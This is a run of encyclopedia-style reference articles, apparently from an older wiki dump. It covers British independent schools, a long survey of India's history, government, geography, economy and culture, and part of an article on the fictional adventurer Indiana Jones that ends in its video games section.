          Some parents complain that their rights and their childrens are compromised by vague and one-sided contracts which allow Heads to use discretionary powers unfairly, such as in expulsion on non-disciplinary matters. They believe independent schools have not embraced the principles of natural justice as adopted by the state sector, and private law as applied to Higher Education.


          The exclusivity of independent schools has attracted political antagonism ever since the First World War. Many of the best-known independent schools are prohibitively expensive, although some are based on charitable foundations originally established up to a thousand years ago to provide free education for the talented poor. One third of independent school pupils have assistance with fees. The Thatcher government introduced the Assisted Places Scheme in England and Wales in 1980, whereby the state paid the school fees of those students capable of gaining a place but unable to afford the fees. This was essentially a response to the decision of the previous Labour government in the mid- 1970s to remove government funding of direct-grant grammar schools, most of which then became private schools; some Assisted Places students went to the former direct-grant schools such as Manchester Grammar School. The scheme was terminated by the Labour government in 1997, since then the private sector has moved to increase its own means-tested bursaries. Generally political attacks have been resisted by concern that there should be no totalitarian state control of education, and undoubtedly by influential 'Old Boys' (former pupils) who tend to be fiercely protective of their Old Schools. Pending the enactment of the Charities Bill, which fell at the 2004 general election but has again been passed by the House of Lords in 2005, many independent schools now make a point of sharing their sporting, musical or other facilities with the public or with local state schools, and supplementing their charitable endowments with an increased number of subsidised scholarships and bursaries.


          In 2005, students at fee-paying schools made up 43.9% of those selected for places at Oxford University and 38% of those granted places at Cambridge University, although such students made up only 7% of the school population (source: The Times 2 March 2006). Independent schools may give a better education to their more motivated students; their antagonists argue that other children's unfulfilled potential deserves Tertiary Education. The Labour Government has brought financial pressure to bear on the universities to admit a higher proportion of state school applicants than would be obtained simply by their A-level grades and interview performance, on the basis that applicants are academically crammed by an independent school education, and receive an undue advantage from the interview system. Although there is no evidence of discrimination against independent school pupils.
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                    	Flag

                    	Emblem
                  

                

              
            


            
              	Motto:" Satyameva Jayate" (Sanskrit)

              सत्यमेव जयते ( Devanāgarī)

              "Truth Alone Triumphs"
            


            
              	Anthem: Jana Gana Mana

              Thou art the ruler of the minds of all people

            


            
              	

              Vande Mataram

              I bow to thee, Mother
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              	Capital

              	New Delhi
            


            
              	Largest city

              	Mumbai
            


            
              	Official Languages:

              Scheduled Languages:

              	
                
                  
                    Hindi, English
                  


                  
                    Hindi in the Devanagari script is the official language of the union and English the 'subsidiary official language'.
                  

                


                
                  
                    8th Schedule:
                  


                  
                    Assamese

                    Bengali

                    Bodo

                    Dogri

                    Gujarati

                    Hindi

                    Kannada

                    Kashmiri

                    Konkani

                    Maithili

                    Malayalam

                    Manipuri

                    Marathi

                    Nepali

                    Oriya

                    Punjabi

                    Sanskrit

                    Santali

                    Sindhi

                    Tamil

                    Telugu

                    Urdu
                  

                

              
            


            
              	Demonym

              	Indian
            


            
              	Government

              	Federal republic

              Parliamentary democracy
            


            
              	-

              	President

              	Pratibha Patil
            


            
              	-

              	Prime Minister

              	Manmohan Singh
            


            
              	Independence

              	from British colonial rule
            


            
              	-

              	Declared

              	15 August 1947
            


            
              	-

              	Republic

              	26 January 1950
            


            
              	Area
            


            
              	-

              	Total

              	3,287,590km( 7th)

              1,269,346 sqmi
            


            
              	-

              	Water(%)

              	9.56
            


            
              	Population
            


            
              	-

              	2007estimate

              	1.12 billion( 2nd)
            


            
              	-

              	2001census

              	1,027,015,248
            


            
              	-

              	Density

              	329/km( 31st)

              852/sqmi
            


            
              	GDP( PPP)

              	2007estimate
            


            
              	-

              	Total

              	$2.965 trillion( 6th)
            


            
              	-

              	Per capita

              	$2,700
            


            
              	GDP (nominal)

              	2007estimate
            


            
              	-

              	Total

              	798.2 billion
            


            
              	-

              	Per capita

              	863
            


            
              	Gini(1999-2000)

              	32.5
            


            
              	HDI(2007)

              	▲ 0.619(medium)( 128th)
            


            
              	Currency

              	Indian rupee (₨) ( INR)
            


            
              	Time zone

              	IST ( UTC+5:30)
            


            
              	-

              	Summer( DST)

              	not observed( UTC+5:30)
            


            
              	Internet TLD

              	.in
            


            
              	Calling code

              	+91
            


            
              	
                
                  
                    Non-numbered Footnotes:
                  


                  
                    * Bharat Ganarajya, that is, the Republic of India in Hindi, written in the Devanāgarī script. See also other official names

                     This is the figure as per the United Nations though the Indian government lists the total area as 3,287,260 square kilometers.
                  

                

              
            

          


          India (Hindi: भारत Bhārat; see also other names), officially the Republic of India (Hindi: भारत गणराज्य Bhārat Gaṇarājya), is a sovereign nation in South Asia. It is the seventh largest country by geographical area, the second most populous country, and the most populous democracy in the world. Bounded by the Indian Ocean on the south, the Arabian Sea on the west, and the Bay of Bengal on the east, India has a coastline of 7,517kilometers (4,671mi). It borders Pakistan to the west; China, Nepal, and Bhutan to the north-east; and Bangladesh and Burma to the east. In the Indian Ocean, India is in the vicinity of Sri Lanka, Maldives, and Indonesia.


          Home to the Indus Valley Civilization and a region of historic trade routes and vast empires, the Indian subcontinent was identified with its commercial and cultural wealth for much of its long history. Four major world religions, Hinduism, Buddhism, Jainism and Sikhism originated here, while Zoroastrianism, Judaism, Christianity and Islam arrived in the first millennium CE and shaped the region's diverse culture. Gradually annexed by the British East India Company from the early eighteenth century and colonised by the United Kingdom from the mid-nineteenth century, India became a modern nation state in 1947 after a struggle for independence that was marked by widespread nonviolent resistance.


          India is the world's twelfth largest economy at market exchange rates and the third largest economy in purchasing power. Economic reforms have transformed it into the second fastest growing large economy; however, it still suffers from high levels of poverty, illiteracy, malnutrition and environmental degradation. A pluralistic, multilingual, and multiethnic society, India is also home to a diversity of wildlife in a variety of protected habitats.


          


          Etymology


          The name India (pronounced /ˈɪndiə/) is derived from Indus, which is derived from the Old Persian word Hindu, from Sanskrit Sindhu, the historic local appellation for the Indus River. The ancient Greeks referred to the Indians as Indoi, the people of the Indus. The Constitution of India and common usage in various Indian languages also recognise Bharat ( pronunciation, /bʰɑːrət̪/) as an official name of equal status. Hindustan ( /hin̪d̪ust̪ɑːn/ ), which is the Persian word for  Land of the Hindus and historically referred to northern India, is also occasionally used as a synonym for all of India.


          


          History


          Stone Age rock shelters with paintings at the Bhimbetka rock shelters in Madhya Pradesh are the earliest known traces of human life in India. The first known permanent settlements appeared over 9,000 years ago and gradually developed into the Indus Valley Civilization, dating back to 3300 BCE in western India. It was followed by the Vedic period, which laid the foundations of Hinduism and other cultural aspects of early Indian society. From around 550 BCE, many independent kingdoms and republics known as the Mahajanapadas were established across the country.
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          The empire built by the Maurya Empire under Emperor Ashoka united most of South Asia in the third centuryBCE. From 180BCE, a series of invasions from Central Asia followed, including those led by the Indo-Greeks, Indo-Scythians, Indo-Parthians and Kushans in the north-western Indian subcontinent. From the third century CE, the Gupta dynasty oversaw the period referred to as ancient " India's Golden Age." Among the notable South Indian empires were the Chalukyas, Rashtrakutas, Hoysalas, Pallavas, Pandyas, and Cholas. Science, engineering, art, literature, astronomy, and philosophy flourished under the patronage of these kings.


          Following invasions from Central Asia between the tenth and twelfth centuries, much of north India came under the rule of the Delhi Sultanate, and later the Mughal Empire. Mughal emperors gradually expanded their kingdoms to cover large parts of the subcontinent. Nevertheless, several indigenous kingdoms, such as the Vijayanagara Empire, flourished, especially in the south. In the seventeenth and eighteenth century, the Mughal supremacy declined and the Maratha Empire became the dominant power. From the sixteenth century, several European countries, including Portugal, the Netherlands, France, and the United Kingdom, started arriving as traders and later took advantage of the fractious nature of relations between the kingdoms to establish colonies in the country. By 1856, most of India was under the control of the British East India Company. A year later, a nationwide insurrection of rebelling military units and kingdoms, variously referred to as the First War of Indian Independence or Sepoy Mutiny, seriously challenged British rule but eventually failed. As a consequence, India came under the direct control of the British Crown as a colony of the British Empire.


          


          During the first half of the twentieth century, a nationwide struggle for independence was launched by the Indian National Congress and other political organizations. In the 1920s and 1930, a movement led by Mahatma Gandhi, and displaying commitment to ahimsa, or non-violence, millions of protesters engaged in mass campaigns of civil disobedience. Finally, on 15 August 1947, India gained independence from British rule, but was partitioned, in accordance to wishes of the Muslim League, along the lines of religion to create the Islamic nation state of Pakistan. Three years later, on 26 January 1950, India became a republic and a new constitution came into effect.


          Since independence, India has experienced sectarian violence and insurgencies in various parts of the country, but has maintained its unity and democracy. It has unresolved territorial disputes with China, which in 1962 escalated into the brief Sino-Indian War; and with Pakistan, which resulted in wars in 1947, 1965, 1971, and 1999. India is a founding member of the Non-Aligned Movement and the United Nations (as part of British India). In 1974, India conducted an underground nuclear test. This was followed by five more tests in 1998, making India a nuclear state. Beginning in 1991, significant economic reforms have transformed India into one of the fastest-growing economies in the world, adding to its global and regional clout.


          


          Government
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              	Flag

              	Tricolour
            


            
              	Emblem

              	Sarnath Lion Capital
            


            
              	Anthem

              	Jana Gana Mana
            


            
              	Song

              	Vandē Mātaram
            


            
              	Animal

              	Royal Bengal Tiger
            


            
              	Bird

              	Indian Peafowl
            


            
              	Flower

              	Lotus
            


            
              	Tree

              	Banyan
            


            
              	Fruit

              	Mango
            


            
              	Sport

              	Field hockey
            


            
              	Calendar

              	Saka
            

          


          The constitution of India, the longest and most exhaustive constitution of any independent nation in the world, came into force on January 26, 1950. The preamble of the constitution defines India as a sovereign, socialist, secular, democratic republic. India has a quasi-federal form of government and a bicameral parliament operating under a Westminster-style parliamentary system. It has three branches of governance: the Legislature, Executive, and Judiciary.


          The President of India is the official head of state elected indirectly by an electoral college for a five-year term. The Prime Minister is, however, the de facto head of government and exercises most executive powers. The Prime Minister is appointed by the President and, by convention, is the candidate supported by the party or political alliance holding the majority of seats in the lower house of Parliament.


          The legislature of India is the bicameral Parliament, which consists of the upper house called the Rajya Sabha (Council of States) and the lower house called the Lok Sabha (House of People). The Rajya Sabha, a permanent body, has up to 250 members serving staggered six year terms. Most are elected indirectly by the state and territorial legislatures in proportion to the state's population. The 543 of the Lok Sabha's 545 members are directly elected by popular vote to represent individual constituencies for five year terms. The other two members are nominated by the President from the Anglo-Indian community if, in his opinion, the community is not adequately represented.


          The executive branch consists of the President, Vice-President, and the Council of Ministers (the Cabinet being its executive committee) headed by the Prime Minister. Any minister holding a portfolio must be a member of either house of parliament. In the Indian parliamentary system, the executive is subordinate to the legislature, with the Prime Minister and his Council being directly responsible to the lower house of the parliament.


          India has a unitary three-tier judiciary, consisting of the Supreme Court, headed by the Chief Justice of India, twenty-one High Courts, and a large number of trial courts. The Supreme Court has original jurisdiction over cases involving fundamental rights and over disputes between states and the Centre, and appellate jurisdiction over the High Courts. It is judicially independent, and has the power to declare the law and to strike down union or state laws which contravene the Constitution. The role as the ultimate interpreter of the Constitution is one of the most important functions of the Supreme Court.


          


          Politics
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          India is the largest democracy in the world. For most of its democratic history, the federal government has been led by the Indian National Congress (INC). State politics have been dominated by several national parties including the INC, the Bharatiya Janata Party (BJP), the Communist Party of India (CPI), and various regional parties. From 1950 to 1990, barring two brief periods, the INC enjoyed a parliamentary majority. The INC was out of power between 1977 and 1980, when the Janata Party won the election owing to public discontent with the "Emergency" declared by the then Prime Minister Indira Gandhi. In 1989, a Janata Dal-led National Front coalition in alliance with the Left Front coalition won the elections but managed to stay in power for only two years.


          The years 19961998 were a period of turmoil in the federal government with several short-lived alliances holding sway. The BJP formed a government briefly in 1996, followed by the United Front coalition. In 1998, the BJP formed the National Democratic Alliance (NDA) with several regional parties and became the first non-Congress government to complete a full five-year term. In the 2004 Indian elections, the INC won the largest number of Lok Sabha seats and formed a government with a coalition called the United Progressive Alliance (UPA), supported by various left-leaning parties and members opposed to the BJP.


          


          Foreign relations and military
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          Since its independence in 1947, India has maintained cordial relationships with most nations. It took a leading role in the 1950s by advocating the independence of European colonies in Africa and Asia. India is a founding member of the Non-Aligned Movement. After the Sino-Indian War and the Indo-Pakistani War of 1965, India's relationship with the Soviet Union warmed at the expense of ties with the United States and continued to remain so until the end of the Cold War. India has fought two wars with Pakistan, primarily over Kashmir. India also fought and won an additional war with Pakistan for the liberation of Bangladesh in 1971.


          In recent years, India has played an influential role in the ASEAN, SAARC, and the WTO. India is a founding member and long time supporter of the United Nations, with over 55,000 Indian military and police personnel having served in thirty-five UN peace keeping operations deployed across four continents. Despite criticism and military sanctions, India has consistently refused to sign the CTBT and the NPT, preferring instead to maintain sovereignty over its nuclear program. Recent overtures by the Indian government have strengthened relations with the United States, China, and Pakistan. In the economic sphere, India has close relationships with other developing nations in South America, Asia, and Africa.


          India maintains the third largest military force in the world, which consists of the Indian Army, Navy, and Air Force. Auxiliary forces such as the Paramilitary Forces, the Coast Guard, and the Strategic Forces Command also come under the military's purview. The President of India is the supreme commander of the Indian armed forces. India became a nuclear power in 1974 after conducting an initial nuclear test, Operation Smiling Buddha. Further underground testing in 1998 led to international military sanctions against India, which were gradually withdrawn after September 2001. India maintains a " no first use" nuclear policy and has a clean record of non-proliferation.


          


          Subdivisions


          India is a federal republic of twenty-eight states and seven Union Territories. All states, the union territory of Puducherry, and the National Capital Territory of Delhi have elected governments. The other five union territories have centrally appointed administrators and hence are under direct rule of the President. In 1956, under the States Reorganisation Act, states were formed on linguistic basis. Since then this structure has remained largely unchanged. Each state or union territory is divided into basic units of government and administration called districts. There are nearly 600 districts in India. The districts in turn are further divided into tehsils and eventually into villages.
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          States:


          
            
              	
                
                  	Andhra Pradesh


                  	Arunachal Pradesh


                  	Assam


                  	Bihar


                  	Chhattisgarh


                  	Goa


                  	Gujarat


                  	Haryana


                  	Himachal Pradesh


                  	Jammu and Kashmir


                  	Jharkhand


                  	Karnataka


                  	Kerala


                  	Madhya Pradesh

                

              

              	
                
                  	Maharashtra


                  	Manipur


                  	Meghalaya


                  	Mizoram


                  	Nagaland


                  	Orissa


                  	Punjab


                  	Rajasthan


                  	Sikkim


                  	Tamil Nadu


                  	Tripura


                  	Uttar Pradesh


                  	Uttarakhand


                  	West Bengal

                

              

              	
                Union Territories:


                
                  	Andaman and Nicobar Islands


                  	Chandigarh


                  	Dadra and Nagar Haveli


                  	Daman and Diu


                  	Lakshadweep


                  	National Capital Territory of Delhi


                  	Puducherry

                

              
            

          


          Major Cities: Bangalore  Chennai  Delhi  Hyderabad  Kolkata  Mumbai


          


          Geography
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          India, the major portion of the Indian subcontinent, sits atop the Indian tectonic plate, a minor plate within the Indo-Australian Plate.


          India's defining geological processes commenced seventy-five million years ago, when the Indian subcontinent, then part of the southern supercontinent Gondwana, began a northeastwards drift  lasting fifty million years  across the then unformed Indian Ocean. The subcontinent's subsequent collision with the Eurasian Plate and subduction under it, gave rise to the Himalayas, the planet's highest mountains, which now abut India in the north and the north-east. In the former seabed immediately south of the emerging Himalayas, plate movement created a vast trough, which, having gradually been filled with river-borne sediment, now forms the Indo-Gangetic Plain. To the west of this plain, and cut off from it by the Aravalli Range, lies the Thar Desert. The original Indian plate now survives as peninsular India, the oldest and geologically most stable part of India, and extending as far north as the Satpura and Vindhya ranges in central India. These parallel ranges run from the Arabian Sea coast in Gujarat in the west to the coal-rich Chota Nagpur Plateau in Jharkhand in the east. To their south, the remaining peninsular landmass, the Deccan Plateau, is flanked on the left and right by the coastal ranges, Western Ghats and Eastern Ghats respectively; the plateau contains the oldest rock formations in India, some over one billion years old. Constituted in such fashion, India lies to the north of the equator between 644' and 3530' north latitude and 687' and 9725' east longitude.


          India's coast is 7,517kilometers (4,671mi) long; of this distance, 5,423kilometers (3,370mi) belong to peninsular India, and 2,094kilometers (1,301mi) to the Andaman, Nicobar, and Lakshadweep Islands. According to the Indian naval hydrographic charts, the mainland coast consists of: 43% sandy beaches, 11% rocky coast including cliffs, and 46% mudflats or marshy coast.


          Major Himalayan-origin rivers that substantially flow through India include the Ganges and the Brahmaputra, both of which drain into the Bay of Bengal. Important tributaries of the Ganges include the Yamuna and the Kosi, nicknamed "Bihar's Sorrow," whose extremely low gradient causes disastrous floods every year. Major peninsular rivers  whose steeper gradients prevent their waters from flooding  include the Godavari, the Mahanadi, the Kaveri, and the Krishna, which also drain into the Bay of Bengal, and the Narmada and the Tapti, which drain into the Arabian Sea. Among notable coastal features of India are the marshy Rann of Kutch in western India, and the alluvial Sundarbans delta, which India shares with Bangladesh. India has two archipelagos: the Lakshadweep, coral atolls off India's south-western coast, and the Andaman and Nicobar Islands, a volcanic chain in the Andaman Sea.


          India's climate is strongly influenced by the Himalayas and the Thar Desert, both of which drive the monsoons. The Himalayas prevent cold Central Asian katabatic winds from blowing in, keeping the bulk of the Indian subcontinent warmer than most locations at similar latitudes. The Thar Desert plays a crucial role in attracting the moisture-laden southwest summer monsoon winds that, between June and October, provide the majority of India's rainfall. Four major climatic groupings predominate in India: tropical wet, tropical dry, subtropical humid, and montane.


          


          Flora and fauna
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          India, which lies within the Indomalaya ecozone, displays significant biodiversity. One of seventeen megadiverse countries, it is home to 7.6% of all mammalian, 12.6% of all avian, 6.2% of all reptilian, 4.4% of all amphibian, 11.7% of all fish, and 6.0% of all flowering plant species. Many ecoregions, such as the shola forests, exhibit extremely high rates of endemism; overall, 33% of Indian plant species are endemic. India's forest cover ranges from the tropical rainforest of the Andaman Islands, Western Ghats, and North-East India to the coniferous forest of the Himalaya. Between these extremes lie the sal-dominated moist deciduous forest of eastern India; the teak-dominated dry deciduous forest of central and southern India; and the babul-dominated thorn forest of the central Deccan and western Gangetic plain. Important Indian trees include the medicinal neem, widely used in rural Indian herbal remedies. The pipal fig tree, shown on the seals of Mohenjo-daro, shaded Gautama Buddha as he sought enlightenment.


          Many Indian species are descendants of taxa originating in Gondwana, to which India originally belonged. Peninsular India's subsequent movement towards, and collision with, the Laurasian landmass set off a mass exchange of species. However, volcanism and climatic changes 20 million years ago caused the extinction of many endemic Indian forms. Soon thereafter, mammals entered India from Asia through two zoogeographical passes on either side of the emerging Himalaya. Consequently, among Indian species, only 12.6% of mammals and 4.5% of birds are endemic, contrasting with 45.8% of reptiles and 55.8% of amphibians. Notable endemics are the Nilgiri leaf monkey and the brown and carmine Beddome's toad of the Western Ghats. India contains 172, or 2.9%, of IUCN-designated threatened species. These include the Asiatic Lion, the Bengal Tiger, and the Indian white-rumped vulture, which suffered a near-extinction from ingesting the carrion of diclofenac-treated cattle.


          In recent decades, human encroachment has posed a threat to India's wildlife; in response, the system of national parks and protected areas, first established in 1935, was substantially expanded. In 1972, India enacted the Wildlife Protection Act and Project Tiger to safeguard crucial habitat; in addition, the Forest Conservation Act was enacted in 1980. Along with more than five hundred wildlife sanctuaries, India hosts thirteen biosphere reserves, four of which are part of the World Network of Biosphere Reserves; twenty-five wetlands are registered under the Ramsar Convention.


          


          Economy
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          For most of its post-independence history, India adhered to a quasi-socialist approach with strict government control over private sector participation, foreign trade, and foreign direct investment. However, since 1991, India has gradually opened up its markets through economic reforms and reduced government controls on foreign trade and investment. Foreign exchange reserves have risen from US$5.8 billion in March 1991 to US$275 billion in 2007, while federal and state budget deficits have decreased. Privatization of publicly-owned companies and the opening of certain sectors to private and foreign participation has continued amid political debate. With a GDP growth rate of 9.4% in 2006-07, the Indian economy is among the fastest growing in the world. India's GDP in terms of USD exchange-rate is US$ 778.7 billion. When measured in terms of purchasing power parity (PPP), India has the world's third largest GDP at US$4.164 trillion. India's per capita income (nominal) is US$ 707, while its per capita (PPP) is US$ 3600.


          Although the Indian economy has grown steadily over the last two decades; its growth has been uneven when comparing different social groups, economic groups, geographic regions, and rural and urban areas. Income inequality in India is relatively small ( Gini coefficient: 32.5 in year 19992000), though it has been increasing of late. Wealth distribution in India is fairly uneven, with the top 10% of income groups earning 33% of the income. Despite significant economic progress, a quarter of the nation's population earns less than the government-specified poverty threshold of $0.40 per day. In 20042005, 27.5% of the population was living below the poverty line.


          India has the world's second largest labour force, with 509.3 million people, 60% of whom are employed in agriculture and related industries; 28% in services and related industries; and 12% in industry. Major agricultural crops include rice, wheat, oilseed, cotton, jute, tea, sugarcane, and potatoes. The agricultural sector accounts for 28% of GDP; the service and industrial sectors make up 54% and 18% respectively. Major industries include automobiles, cement, chemicals, consumer electronics, food processing, machinery, mining, petroleum, pharmaceuticals, steel, transportation equipment, and textiles.


          In 2006, estimated exports stood at US$112 billion and imports were around US$187.9 billion. Textiles, jewellery, engineering goods and software are major export commodities. Crude oil, machineries, fertilizers, and chemicals are major imports. India's most important trading partners are the United States, the European Union, China, the United Arab Emirates, Singapore, and Australia. More recently, India has capitalised on its large pool of educated, English-speaking people, and trained professionals to become an important outsourcing destination for multinational corporations and a popular destination for medical tourism. India has also become a major exporter of software as well as financial, research, and technological services. Its natural resources include arable land, bauxite, chromite, coal, diamonds, iron ore, limestone, manganese, mica, natural gas, petroleum, and titanium ore.


          


          Demographics
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          With an estimated population of 1.12 billion, India is the world's second most populous country. Almost 70% of Indians reside in rural areas, although in recent decades migration to larger cities has led to a dramatic increase in the country's urban population. India's largest cities are Mumbai (formerly Bombay), Delhi, Kolkata (formerly Calcutta), Chennai (formerly Madras), Bangalore, and Hyderabad.


          India is the second most culturally, linguistically and genetically diverse geographical entity after the African continent. India is home to two major linguistic families: Indo-Aryan (spoken by about 74% of the population) and Dravidian (spoken by about 24%). Other languages spoken in India come from the Austro-Asiatic and Tibeto-Burman linguistic families. Hindi, with the largest number of speakers, is the official language of India. English, which is extensively used in business and administration, has the status of a 'subsidiary official language'. The constitution also recognises in particular 21 other languages that are either abundantly spoken or have classical status. The number of dialects in India is as high as 1,652.


          Over 800 million Indians (80.5%) are Hindu. Other religious groups include Muslims (13.4%), Christians (2.3%), Sikhs (1.9%), Buddhists (0.8%), Jains (0.4%), Jews, Zoroastrians, Bah's and others. Tribals constitute 8.1% of the population.


          India's literacy rate is 64.8% (53.7% for females and 75.3% for males). The state of Kerala has the highest literacy rate (91%); Bihar has the lowest (47%). The national gender ratio is 944 females per 1,000 males. India's median age is 24.9, and the population growth rate of 1.38% per annum; there are 22.01 births per 1,000 people per year.


          


          Culture
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          India's culture is marked by a high degree of syncretism and cultural pluralism. It has managed to preserve established traditions while absorbing new customs, traditions, and ideas from invaders and immigrants. Multicultural concerns have long informed Indias history and traditions, constitution and political arrangements.


          Indian Architecture, including notable monuments, such as the Taj Mahal and other examples of Mughal architecture and South Indian architecture, is the result of traditions that combined elements from several parts of the country and abroad. Vernacular architecture also displays notable regional variation.


          Indian music covers a wide range of traditions and regional styles. Classical music is split mainly between the North Indian Hindustani and South Indian Carnatic traditions. Highly regionalised forms of popular music include filmi and folk music; the syncretic tradition of the bauls is a well-known form of the latter.


          Indian dance too has diverse folk and classical forms. Among the well-known folk dances are the bhangra of the Punjab, the bihu of Assam, the chhau of Bihar and Orissa and the ghoomar of Rajasthan. Eight dance forms, many with narrative forms and mythological elements, have been accorded classical dance status by India's National Academy of Music, Dance, and Drama. These are: bharatanatyam of the state of Tamil Nadu, kathak of Uttar Pradesh, kathakali and mohiniattam of Kerala, kuchipudi of Andhra Pradesh, manipuri of Manipur, odissi of the state of Orissa and the sattriya of Assam.


          Theatre in India often incorporates music, dance, and improvised or written dialogue. Often based on Hindu mythology, but also borrowing from medieval romances, and news of social and political events, Indian theatre includes the bhavai of state of Gujarat, the jatra of West Bengal, the nautanki and ramlila of North India, the tamasha of Maharashtra, the terukkuttu of Tamil Nadu, and the yakshagana of Karnataka.
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          The Indian film industry is the largest in the world. Bollywood, based in Mumbai, makes commercial Hindi films and is the most prolific film industry in the world. Established traditions also exist in Bengali, Kannada, Malayalam, Marathi, Tamil, and Telugu language cinemas.


          The earliest works of Indian literature were transmitted orally and only later written down. These included works of Sanskrit literature  such as the early Vedas, the epics Mahabharata and Ramayana, the drama Abhijānaśākuntalam (The Recognition of Śakuntalā), and poetry such as the Mahākāvya  and the Tamil language Sangam literature. Among Indian writers of the modern era active in Indian languages or English, Rabindranath Tagore won the Nobel Prize in 1913.


          Indian cuisine is characterized by a wide variety of regional styles and sophisticated use of herbs and spices. The staple foods in the region are rice (especially in the south and the east) and wheat (predominantly in the north). Spices originally native to the Indian subcontinent that are now consumed world wide include black pepper; in contrast, hot chilli peppers, popular across India, were introduced by the Portuguese.


          Traditional Indian dress varies across the regions in its colours and styles and depends on various factors, including climate. Popular styles of dress include draped garments such as sari for women and dhoti or lungi for men; in addition, stitched clothes such as shalwar kameez for women and kurta- pyjama and European-style trousers and shirts for men, are also popular.


          Many Indian festivals are religious in origin, although several are celebrated irrespective of caste and creed. Some popular festivals are Diwali, Pongal, Holi, Onam, Vijayadashami, Bihu, Durga puja, Eid ul-Fitr, Bakr-Id, Christmas, Ugadi, Buddha Jayanti and Vaisakhi. India has three national holidays. Other sets of holidays, varying between nine and twelve, are officially observed in individual states. Religious practices are an integral part of everyday life and are a very public affair. Traditional Indian family values are highly respected, although urban families now prefer nuclear family system due to the socio-economic constraints imposed by traditional joint family system.


          India's national sport is field hockey though cricket is the most popular sport in India. In some states, particularly those in the northeast and the states of West Bengal, Goa, and Kerala, football (soccer) is also a popular sport. In recent times, tennis has also gained popularity. Chess, commonly held to have originated in India, is also gaining popularity with the rise in the number of Indian grandmasters. Traditional sports include kabaddi, kho-kho, and gilli-danda, which are played nationwide. India is home to the age-old discipline of yoga and to the ancient martial arts, Kalarippayattu and Varma Kalai.
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              	Indiana Jones character
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              	Henry "Indiana" Jones, Jr
            


            
              	Created by

              	George Lucas
            


            
              	First appearance

              	Raiders of the Lost Ark
            


            
              	Portrayed by

              	Films:

              Harrison Ford (ages 36-58)

              River Phoenix (age 13)

              TV Series:

              Corey Carrier (ages 8-10)

              Sean Patrick Flanery (ages 16-21)

              George Hall (age 93)

              Video games:

              Doug Lee (voice)

              David Esch (voice)
            

          


          Dr. Henry Walton Jones, Jr., better known as Indiana Jones or Indy, is a fictional adventurer, professor of history and archaeology, and the main protagonist of the Indiana Jones franchise. George Lucas created the character in homage to the action heroes of 1930s serial films. Indiana Jones first appeared in the 1981 film Raiders of the Lost Ark. The film was followed by Indiana Jones and the Temple of Doom in 1984, Indiana Jones and the Last Crusade in 1989, The Young Indiana Jones Chronicles from 1992 to 1996, and Indiana Jones and the Kingdom of the Crystal Skull in 2008. In addition to his film and television appearances, the character has been featured in novels, comics, video games, and other media. The character is also featured in the theme park attraction Indiana Jones Adventure, which exists in similar forms at Disneyland and Tokyo DisneySea.


          The character is most famously played by Harrison Ford. He has also been portrayed by River Phoenix (as the young Jones in Indiana Jones and the Last Crusade), and in the television series The Young Indiana Jones Chronicles by Corey Carrier, Sean Patrick Flanery, and George Hall. Doug Lee has supplied Jones's voice to two LucasArts video games, Indiana Jones and the Fate of Atlantis and Indiana Jones and the Infernal Machine, while David Esch supplied his voice to Indiana Jones and the Emperor's Tomb. Tom Selleck was originally cast in the role, however due to commitments to Magnum PI, Selleck was replaced by Ford. The character's iconic outfit was designed by Jim Steranko. Jones is notable for his bullwhip, fedora, leather jacket, and fear of snakes.


          


          Appearances


          Since his introduction in 1981's Raiders of the Lost Ark (later retitled on VHS and DVD box covers as Indiana Jones and the Raiders of the Lost Ark), he has made appearances in three more feature films, a two-season TV series, novels, comic books, video games, role-playing games, and even his own amusement park rides.


          


          Feature films


          


          Indiana Jones, played by Harrison Ford, was first introduced in the 1981 film Raiders of the Lost Ark, set in 1936. He is portrayed as an adventurous throwback to the 1930s film serial treasure hunters and pulp action heroes, with an alter ego of Doctor Jones, a respected archaeologist at Marshall College - a fictional college in Connecticut. In this first adventure, he is pitted against the Nazis, traveling the world to prevent them from recovering the Ark of the Covenant (see also Biblical archaeology). The Nazis are led by Jones's archrival, a Nazi-sympathizing French archaeologist named Ren Belloq, and Arnold Toht, a sinister Gestapo agent.


          The 1984 prequel Indiana Jones and the Temple of Doom, set in 1935, took the character into a more horror-oriented story, skipping his legitimate teaching job and globe trotting, and taking place almost entirely in India. This time, Jones attempts to recover children and a Sankara stone from the bloodthirsty Thuggee cult.


          


          The third film, 1989's Indiana Jones and the Last Crusade, set in 1938, returned to the formula of the original, reintroducing characters such as Sallah and Marcus Brody, a scene from Professor Jones's classroom (he now teaches at Barnett College), the globe trotting element of multiple locations, and the return of the infamous Nazi mystics, this time trying to find the Holy Grail. The film's introduction, set in 1912, provided some back story to the character, specifically his fear of snakes, his use of a bullwhip, the origin of the scar on his chin, and the source of his fedora hat, as well as his father. Although Lucas intended at the time to do five films, this ended up being the last for over eighteen years, as Lucas could not think of a good MacGuffin to drive the next installment.


          The fourth film, Indiana Jones and the Kingdom of the Crystal Skull, became the latest installment of the series on May 22, 2008. Set in 1957, 19 years after the third film, it pits an older, wiser Indiana Jones against Soviet agents bent on harnessing the power of an ancient artifact. Again, viewers visit the common theme of "nefarious villains obsessed with the paranormal". In this installment, the plot revolves around a mysterious crystal skull that is discovered in South America by Harold Oxley ( John Hurt), a colleague of Professor Jones. He is aided in his adventure by an old lover, Marion Ravenwood ( Karen Allen), and a young greaser named Mutt Williams ( Shia LaBeouf).


          


          Television


          


          From 1992 to 1996, George Lucas executive produced a television series named The Young Indiana Jones Chronicles designed as an educational program for children, spotlighting historical figures and important events, using the concept of a prequel to the films as a draw. The show featured a standard formula of a 93-year-old Jones ( George Hall), wearing an eye patch, introducing a story, and then an adventure with either a 17-year-old Jones ( Sean Patrick Flanery) or a 10-year-old Jones ( Corey Carrier), and even a baby indy ( Neil Boulane). Historical figures featured on the show include Leo Tolstoy, Pancho Villa, Charles de Gaulle, and John Ford, in such diverse locations as Egypt, Austria-Hungary, India, China, and the whole of Europe.


          


          One episode, "Young Indiana Jones and the Mystery of the Blues", is bookended by Harrison Ford, reprising his role as the character. Indiana loses one of his eyes sometime between this episode and when the "Old Indy" segments take place.


          The show provided some backstory for the films, as well as new information regarding the character. He was born July 1, 1899, and his middle name is Walton, Lucas's middle name. It is also mentioned that he had a sister called Suzie who died as an infant of fever. His relationship with his father, first introduced in Indiana Jones and the Last Crusade, was further fleshed out with stories about his travels with his father as a young boy. A large portion of the series centered around his activities during World War I.


          In 1999, Lucas removed the episode introductions and epilogues by George Hall when he released a VHS collection of the series, and they have been omitted from the DVD releases as well.


          


          Video games


          The character has appeared in several officially licensed video games, beginning with adaptations of Raiders of the Lost Ark, Indiana Jones and the Temple of Doom, and two adaptations of Indiana Jones and the Last Crusadeone with purely action mechanics, one with an adventure and puzzle based structure.


